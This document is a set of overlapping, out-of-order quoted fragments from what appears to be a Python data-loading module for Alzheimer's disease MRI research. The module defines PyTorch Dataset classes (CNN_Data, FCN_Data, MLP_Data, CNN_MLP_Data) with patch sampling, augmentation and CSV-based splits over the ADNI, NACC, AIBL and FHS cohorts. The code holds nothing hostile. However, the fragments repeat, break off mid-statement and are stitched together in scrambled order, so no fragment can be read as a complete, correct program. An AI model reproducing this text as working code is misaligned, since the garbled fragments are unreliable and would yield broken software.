"def __getitem__(self, idx): label = self.Label_list[idx] data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32)",
"roi_count, choice, seed) self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self, Data_dir,",
"!= self.roi for _, i, j, k in tmp: self.roi[i,j,k] = True def",
"with FCN+MLP framework) (a). Training stage: use whole volume to train classification FCN",
"import pandas as pd import csv \"\"\" dataloaders are defined in this scripts:",
"+ '.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if self.transform: patch = self.transform.apply(patch).astype(np.float32) patch =",
"import numpy as np from torch.utils.data import Dataset, DataLoader from utils import PatchGenerator,",
"to be compared with FCN+MLP framework) (a). Training stage: use whole volume to",
"ratio = 1 + (random.random() - 0.5)*self.contrast_factor return image.mean() + ratio*(image - image.mean())",
"portion (b). Validation stage: use MCC as criterion to save model parameters (c).",
"Map (DPM). use MCC of DPM as criterion to save model parameters (c).",
"see Augment class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed) self.stage = stage self.transform",
"2), axis=0) return data, label class MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, roi_threshold,",
"self.stage = stage self.transform = transform self.whole = whole_volume self.patch_size = patch_size self.patch_sampler",
"MLP on DPMs from the training portion (b). Validation stage: use MCC as",
"CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed) self.stage = stage self.transform = transform self.whole =",
"0.2 self.bright_factor = 0.4 self.sig_factor = 0.2 def change_contrast(self, image): ratio = 1",
"self.Data_list] self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi >",
"__len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] data = np.load(self.Data_dir +",
"training :param seed: random seed :param patch_size: patch size has to be 47,",
"for j in range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or",
"stage, seed) self.stage = stage self.transform = transform self.whole = whole_volume self.patch_size =",
"+ self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(data, axis=0) return data, label def get_sample_weights(self):",
"def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold,",
"= np.expand_dims(patch, axis=0) return patch, label else: data = np.load(self.Data_dir + self.Data_list[idx] +",
"for filename in self.Data_list] self.risk_list = [self.rescale(a) for a in self.risk_list] self.in_size =",
"diagnosis information \"\"\" def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir = Data_dir",
"count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count / count0 if i",
"count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count / count0 if",
"= [] for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k in",
"= read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx =",
"_, i, j, k in tmp: self.roi[i,j,k] = True def __len__(self): return len(self.Data_list)",
"from the training portion (b). Validation stage: use MCC as criterion to save",
"Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir = Data_dir if stage in ['train', 'valid',",
"(a). Training stage: train MLP on DPMs from the training portion (b). Validation",
"True def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] risk =",
"__init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir if",
"parameters (c). Testing stage: test the model on ADNI_test, NACC, FHS and AIBL",
"stage)) elif stage in ['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def",
"= [np.load(Data_dir + filename + '.npy') for filename in self.Data_list] self.risk_list = [self.rescale(a)",
"files ./lookuptxt/*.csv contains MRI filenames along with demographic and diagnosis information \"\"\" def",
"count0 / count1 class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice,",
"import Dataset, DataLoader from utils import PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import",
"exp_idx self.Data_dir = Data_dir self.roi_threshold = roi_threshold self.roi_count = roi_count if choice ==",
"classification model to be compared with FCN+MLP framework) (a). Training stage: use whole",
"a in self.risk_list] self.in_size = self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list) def __getitem__(self, idx):",
"if i == 0 else count / count1 for i in self.Label_list] return",
"Data_dir if stage in ['train', 'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path",
"self.risk_list = [self.rescale(a) for a in self.risk_list] self.in_size = self.risk_list[0].shape[0] def __len__(self): return",
"'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label",
"Augment class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed) self.stage = stage self.transform =",
"range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k],",
"risk = self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def rescale(self, x):",
"(random.random() - 0.5)*self.contrast_factor return image.mean() + ratio*(image - image.mean()) def change_brightness(self, image): val",
"division import os import torch import numpy as np from torch.utils.data import Dataset,",
"== 0 else count / count1 for i in self.Label_list] return weights, count0",
"MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): random.seed(seed) self.exp_idx =",
"forward whole volume MRI to FCN to get Disease Probability Map (DPM). use",
"in ['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list)",
"__name__ == \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader = DataLoader(data, batch_size=10, shuffle=False)",
"self.roi_threshold = roi_threshold self.roi_count = roi_count if choice == 'count': self.select_roi_count() else: self.select_roi_thres()",
"+ '.npy') for filename in self.Data_list] self.risk_list = [self.rescale(a) for a in self.risk_list]",
"def __init__(self): self.contrast_factor = 0.2 self.bright_factor = 0.4 self.sig_factor = 0.2 def change_contrast(self,",
"path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list = [np.load(Data_dir + filename",
"return risk, label, np.asarray(demor).astype(np.float32) def rescale(self, x): return (x + 8) / 20.0",
"splits :param stage: stage could be 'train', 'valid', 'test' and etc ... :param",
"transform is about data augmentation, if transform == None: no augmentation for more",
"patch, label else: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(padding(data,",
"DPMs from the training portion (b). Validation stage: use MCC as criterion to",
"self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def rescale(self, x): return (x",
"etc ... :param whole_volume: if whole_volume == True, get whole MRI; if whole_volume",
"filenames along with demographic and diagnosis information \"\"\" def __init__(self, Data_dir, exp_idx, stage,",
"augmentation for more details, see Augment class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed)",
"k%3!=0: continue tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort() tmp = tmp[-self.roi_count:] self.roi = self.roi",
"Data_dir, exp_idx, stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\" :param Data_dir: data path :param",
"self.Label_list.count(1)) weights = [count / count0 if i == 0 else count /",
"idx): label = self.Label_list[idx] if self.stage == 'train' and not self.whole: data =",
"0.5)*self.bright_factor return image + val def add_noise(self, image): sig = random.random() * self.sig_factor",
"sample patches for training :param seed: random seed :param patch_size: patch size has",
"= './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list",
"= './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list",
"test the model on ADNI_test, NACC, FHS and AIBL datasets \"\"\" class Augment:",
"= self.roi > self.roi_threshold for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for",
"__init__(self, Data_dir, exp_idx, stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\" :param Data_dir: data path",
"on DPMs from the training portion (b). Validation stage: use MCC as criterion",
"seed: random seed :param patch_size: patch size has to be 47, otherwise model",
"patch_size: patch size has to be 47, otherwise model needs to be changed",
"= whole_volume self.patch_size = patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label =",
"in this scripts: 1. FCN dataloader (data split into 60% train, 20% validation",
"not self.whole: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data)",
"datasets 3. CNN dataloader (baseline classification model to be compared with FCN+MLP framework)",
"for _, i, j, k in tmp: self.roi[i,j,k] = True def __len__(self): return",
"\"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed) self.stage = stage self.transform = transform self.whole",
"in ['train', 'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list,",
"change_contrast(self, image): ratio = 1 + (random.random() - 0.5)*self.contrast_factor return image.mean() + ratio*(image",
"None: no augmentation for more details, see Augment class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx,",
"get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count / count0",
"class Augment: def __init__(self): self.contrast_factor = 0.2 self.bright_factor = 0.4 self.sig_factor = 0.2",
"self.roi for _, i, j, k in tmp: self.roi[i,j,k] = True def __len__(self):",
"i, j, k in tmp: self.roi[i,j,k] = True def __len__(self): return len(self.Data_list) def",
"np.asarray(demor).astype(np.float32) def rescale(self, x): return (x + 8) / 20.0 def get_sample_weights(self): count,",
"def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] risk = self.risk_list[idx]",
"split as FCN dataloader) (a). Training stage: train MLP on DPMs from the",
"exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed)",
"risk, label, np.asarray(demor).astype(np.float32) def rescale(self, x): return (x + 8) / 20.0 def",
"label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights =",
"different data splits :param stage: stage could be 'train', 'valid', 'test' and etc",
"get_AD_risk import random import pandas as pd import csv \"\"\" dataloaders are defined",
"is about data augmentation, if transform == None: no augmentation for more details,",
"for a in self.risk_list] self.in_size = self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list) def __getitem__(self,",
"len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] risk = self.risk_list[idx] demor = self.demor_list[idx]",
"the model on ADNI_test, NACC, FHS and AIBL datasets 3. CNN dataloader (baseline",
"self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in ['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list",
"model needs to be changed accordingly :param transform: transform is about data augmentation,",
"to FCN to get Disease Probability Map (DPM). use MCC of DPM as",
"stage) else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi]",
"MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx, stage,",
"seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir if stage in ['train', 'valid',",
"model (b). Validation stage: use MCC as criterion to save model parameters (c).",
"self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path)",
"augmentation, if transform == None: no augmentation for more details, see Augment class",
"__future__ import print_function, division import os import torch import numpy as np from",
"exp_idx, stage, roi_threshold, roi_count, choice, seed) self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset):",
"of MLP 2. MLP dataloader (use the exactly same split as FCN dataloader)",
"numpy as np from torch.utils.data import Dataset, DataLoader from utils import PatchGenerator, padding,",
"FCN to get Disease Probability Map (DPM). use MCC of DPM as criterion",
"ratio*(image - image.mean()) def change_brightness(self, image): val = (random.random() - 0.5)*self.bright_factor return image",
"volume MRI to FCN to get Disease Probability Map (DPM). use MCC of",
"testing) (a). Training stage: use random patches to train classification FCN model (b).",
"use whole volume to train classification FCN model (b). Validation stage: use MCC",
"index maps to different data splits :param stage: stage could be 'train', 'valid',",
"self.demor_list = read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list] self.in_size = self.risk_list[0].shape[0]",
"def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir",
"otherwise model needs to be changed accordingly :param transform: transform is about data",
"/ count1 for i in self.Label_list] return weights, count0 / count1 class MLP_Data_apoe(MLP_Data):",
"dataloaders are defined in this scripts: 1. FCN dataloader (data split into 60%",
"= float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights = [count / count0 if i ==",
"float(self.Label_list.count(1)) weights = [count / count0 if i == 0 else count /",
"i in self.Label_list] return weights, count0 / count1 class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir,",
"/ count1 if __name__ == \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader =",
"AIBL datasets \"\"\" class Augment: def __init__(self): self.contrast_factor = 0.2 self.bright_factor = 0.4",
"data = np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0) return data, label class MLP_Data(Dataset): def",
"to get Disease Probability Map (DPM). use MCC of DPM as criterion to",
"k in tmp: self.roi[i,j,k] = True def __len__(self): return len(self.Data_list) def __getitem__(self, idx):",
"= tmp[-self.roi_count:] self.roi = self.roi != self.roi for _, i, j, k in",
"+ self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0) return data,",
"DPM as criterion to save model parameters (c). Testing stage: get all available",
"[np.load(Data_dir + filename + '.npy') for filename in self.Data_list] self.risk_list = [self.rescale(a) for",
"stage: forward whole volume MRI to FCN to get Disease Probability Map (DPM).",
"stage in ['train', 'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path = './lookupcsv/{}.csv'.format(stage)",
"data, label def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights =",
"+ val def add_noise(self, image): sig = random.random() * self.sig_factor return np.random.normal(0, sig,",
"'train' and not self.whole: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch",
"= self.add_noise(image) return image class CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv contains MRI filenames",
"np.expand_dims(patch, axis=0) return patch, label else: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32)",
"= roi_threshold self.roi_count = roi_count if choice == 'count': self.select_roi_count() else: self.select_roi_thres() if",
"def change_contrast(self, image): ratio = 1 + (random.random() - 0.5)*self.contrast_factor return image.mean() +",
"return risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1))",
"= 1 + (random.random() - 0.5)*self.contrast_factor return image.mean() + ratio*(image - image.mean()) def",
"filename in self.Data_list] self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi =",
"Testing stage: test the model on ADNI_test, NACC, FHS and AIBL datasets \"\"\"",
"self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed)",
"self.Label_list[idx] risk = self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def rescale(self,",
"MLP dataloader (use the exactly same split as FCN dataloader) (a). Training stage:",
"i == 0 else count / count1 for i in self.Label_list] return weights,",
"np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0) return",
"self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename",
"/ 20.0 def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights",
"= (random.random() - 0.5)*self.bright_factor return image + val def add_noise(self, image): sig =",
"demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def rescale(self, x): return (x +",
"self.stage == 'train' and not self.whole: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy',",
"self.demor_list = read_csv_complete(path) self.risk_list = [np.load(Data_dir + filename + '.npy') for filename in",
"split into 60% train, 20% validation and 20% testing) (a). Training stage: use",
"= np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(data, axis=0) return data, label",
"self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi > self.roi_threshold",
"path :param exp_idx: experiment index maps to different data splits :param stage: stage",
"path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path)",
"in self.Label_list] return weights, count0 / count1 class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx,",
"= self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)),",
"weights = [count / count0 if i == 0 else count / count1",
"select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for i in range(self.roi.shape[0]): for j",
"data splits :param stage: stage could be 'train', 'valid', 'test' and etc ...",
"0 else count / count1 for i in self.Label_list] return weights, count0 /",
"'./lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list = [np.load(Data_dir + filename + '.npy')",
"self.Label_list[idx] risk = self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self):",
"1. FCN dataloader (data split into 60% train, 20% validation and 20% testing)",
"ADNI_test, NACC, FHS and AIBL datasets 3. CNN dataloader (baseline classification model to",
"accordingly :param transform: transform is about data augmentation, if transform == None: no",
"== 'count': self.select_roi_count() else: self.select_roi_thres() if stage in ['train', 'valid', 'test']: self.path =",
"choice, seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed) self.Data_list, self.Label_list, self.demor_list =",
"classification FCN model (b). Validation stage: use MCC as criterion to save model",
"'.npy') for filename in self.Data_list] self.risk_list = [self.rescale(a) for a in self.risk_list] self.in_size",
"float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count / count0 if i == 0 else count",
"= np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]):",
"dataloader = DataLoader(data, batch_size=10, shuffle=False) for risk, label, demor in dataloader: print(risk.shape, label,",
"image = self.change_contrast(image) image = self.change_brightness(image) image = self.add_noise(image) return image class CNN_Data(Dataset):",
"for more details, see Augment class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed) self.stage",
"CNN dataloader (baseline classification model to be compared with FCN+MLP framework) (a). Training",
"def __getitem__(self, idx): label = self.Label_list[idx] if self.stage == 'train' and not self.whole:",
"k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: self.roi[i,j,k] = False def",
"/ count0 if i == 0 else count / count1 for i in",
"else count / count1 for i in self.Label_list] return weights, count0 / count1",
"else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list = [np.load(Data_dir +",
"- 0.5)*self.contrast_factor return image.mean() + ratio*(image - image.mean()) def change_brightness(self, image): val =",
"20.0 def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights =",
"self.bright_factor = 0.4 self.sig_factor = 0.2 def change_contrast(self, image): ratio = 1 +",
"= np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi > self.roi_threshold for i in range(self.roi.shape[0]): for j",
"import random import pandas as pd import csv \"\"\" dataloaders are defined in",
"be 'train', 'valid', 'test' and etc ... :param whole_volume: if whole_volume == True,",
"rescale(self, x): return (x + 8) / 20.0 def get_sample_weights(self): count, count0, count1",
"np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0) return data, label class MLP_Data(Dataset): def __init__(self, Data_dir,",
"image): ratio = 1 + (random.random() - 0.5)*self.contrast_factor return image.mean() + ratio*(image -",
"exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir",
"count1 class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir,",
"= transform self.whole = whole_volume self.patch_size = patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self,",
"get Disease Probability Map (DPM). use MCC of DPM as criterion to save",
"self.roi = self.roi > self.roi_threshold for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]):",
"= self.change_brightness(image) image = self.add_noise(image) return image class CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv",
"choice, seed) self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx,",
"import csv \"\"\" dataloaders are defined in this scripts: 1. FCN dataloader (data",
"20% testing) (a). Training stage: use random patches to train classification FCN model",
"choice, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir self.roi_threshold = roi_threshold self.roi_count",
"CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv contains MRI filenames along with demographic and diagnosis",
"self.risk_list = [np.load(Data_dir + filename + '.npy') for filename in self.Data_list] self.risk_list =",
"scripts: 1. FCN dataloader (data split into 60% train, 20% validation and 20%",
"defined in this scripts: 1. FCN dataloader (data split into 60% train, 20%",
"seed :param patch_size: patch size has to be 47, otherwise model needs to",
"classification FCN model (b). Validation stage: forward whole volume MRI to FCN to",
"roi_count if choice == 'count': self.select_roi_count() else: self.select_roi_thres() if stage in ['train', 'valid',",
"filename + '.npy') for filename in self.Data_list] self.risk_list = [self.rescale(a) for a in",
"<reponame>colorfulbrain/brain2020 from __future__ import print_function, division import os import torch import numpy as",
"Data_dir if stage in ['train', 'valid', 'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif",
"and AIBL datasets 3. CNN dataloader (baseline classification model to be compared with",
"count0 / count1 if __name__ == \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader",
"'.npy').astype(np.float32) data = np.expand_dims(data, axis=0) return data, label def get_sample_weights(self): count, count0, count1",
"self.roi_threshold for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k in range(self.roi.shape[2]):",
"/ count1 for i in self.Label_list] return weights, count0 / count1 class FCN_Data(CNN_Data):",
"csv files ./lookuptxt/*.csv contains MRI filenames along with demographic and diagnosis information \"\"\"",
"read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] data =",
"> self.roi_threshold for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k in",
"axis=0) return patch, label else: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data",
"FHS and AIBL datasets 3. CNN dataloader (baseline classification model to be compared",
"Data_dir, exp_idx, stage, seed) self.stage = stage self.transform = transform self.whole = whole_volume",
"maps to different data splits :param stage: stage could be 'train', 'valid', 'test'",
"['train', 'valid', 'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in ['ADNI', 'NACC',",
"torch.utils.data import Dataset, DataLoader from utils import PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk",
"label = self.Label_list[idx] if self.stage == 'train' and not self.whole: data = np.load(self.Data_dir",
"['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list) def",
"stage in ['ADNI', 'NACC', 'AIBL', 'FHS']: self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return",
"def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count /",
"for i in self.Label_list] return weights, count0 / count1 if __name__ == \"__main__\":",
"return image + val def add_noise(self, image): sig = random.random() * self.sig_factor return",
"demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0, count1 =",
"\"\"\" csv files ./lookuptxt/*.csv contains MRI filenames along with demographic and diagnosis information",
"for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k], i,",
"self.contrast_factor = 0.2 self.bright_factor = 0.4 self.sig_factor = 0.2 def change_contrast(self, image): ratio",
"as criterion to save model parameters (c). Testing stage: get all available DPMs",
"Augment: def __init__(self): self.contrast_factor = 0.2 self.bright_factor = 0.4 self.sig_factor = 0.2 def",
"= 0.4 self.sig_factor = 0.2 def change_contrast(self, image): ratio = 1 + (random.random()",
"axis=0) return data, label def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1))",
"FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx, stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\" :param Data_dir:",
"'valid', 'test' and etc ... :param whole_volume: if whole_volume == True, get whole",
"tmp = tmp[-self.roi_count:] self.roi = self.roi != self.roi for _, i, j, k",
"and diagnosis information \"\"\" def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir =",
"\"\"\" :param Data_dir: data path :param exp_idx: experiment index maps to different data",
"on ADNI_test, NACC, FHS and AIBL datasets \"\"\" class Augment: def __init__(self): self.contrast_factor",
"(baseline classification model to be compared with FCN+MLP framework) (a). Training stage: use",
"__init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count,",
"= read_csv_complete(path) self.risk_list = [np.load(Data_dir + filename + '.npy') for filename in self.Data_list]",
"count1 if __name__ == \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader = DataLoader(data,",
"self.roi = self.roi != self.roi for _, i, j, k in tmp: self.roi[i,j,k]",
"= self.Label_list[idx] data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(data, axis=0)",
"PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label = self.Label_list[idx] if self.stage == 'train' and not",
"if i%3!=0 or j%2!=0 or k%3!=0: self.roi[i,j,k] = False def select_roi_count(self): self.roi =",
"in range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: self.roi[i,j,k]",
":param whole_volume: if whole_volume == True, get whole MRI; if whole_volume == False",
"FHS and AIBL datasets \"\"\" class Augment: def __init__(self): self.contrast_factor = 0.2 self.bright_factor",
"model parameters (c). Testing stage: get all available DPMs for the development of",
"idx): label = self.Label_list[idx] data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data =",
"def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): random.seed(seed) self.exp_idx = exp_idx",
"return (x + 8) / 20.0 def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)),",
"(b). Validation stage: use MCC as criterion to save model parameters (c). Testing",
"label else: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size",
